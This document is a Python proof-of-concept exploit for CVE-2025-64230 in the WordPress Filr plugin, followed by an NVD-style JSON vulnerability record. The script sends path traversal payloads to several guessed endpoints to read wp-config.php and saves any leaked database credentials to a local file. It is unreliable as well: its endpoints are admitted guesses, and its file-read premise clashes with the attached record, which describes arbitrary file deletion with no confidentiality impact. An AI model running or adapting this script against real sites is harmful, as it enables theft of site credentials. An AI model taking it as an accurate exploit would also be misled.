CVE-2025-64230

import requests # CVE-2025-64230 PoC - Path Traversal in WP Chill Filr Plugin # Target: WordPress site with Filr plugin <= 1.2.10 target_url = "http://target-wordpress-site.com" # Path traversal payload to read wp-config.php payload = "../../../../wp-config.php" # Exploit endpoint - typical filr protection endpoint # Adjust the endpoint based on actual plugin implementation endpoints = [ f"{target_url}/?filr=download&file={payload}", f"{target_url}/wp-content/plugins/filr-protection/download.php?file={payload}", f"{target_url}/wp-json/filr/v1/file?path={payload}" ] print("[*] CVE-2025-64230 Path Traversal PoC") print(f"[*] Target: {target_url}") print(f"[*] Payload: {payload}") for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200 and "DB_NAME" in response.text: print(f"[+] VULNERABLE! File content retrieved from: {endpoint}") print(f"[+] Response length: {len(response.text)}") # Save the config file content with open("wp-config_leaked.txt", "w") as f: f.write(response.text) print("[+] Config file saved to wp-config_leaked.txt") break elif response.status_code == 200: print(f"[*] Endpoint responded: {endpoint}") print(f"[*] Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("\n[*] PoC execution completed")

{"cve": {"id": "CVE-2025-64230", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:12.543", "lastModified": "2026-04-27T16:16:35.800", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in WP Chill Filr filr-protection allows Path Traversal.This issue affects Filr: from n/a through <= 1.2.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/filr-protection/vulnerability/wordpress-filr-plugin-1-2-10-arbitrary-file-deletion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}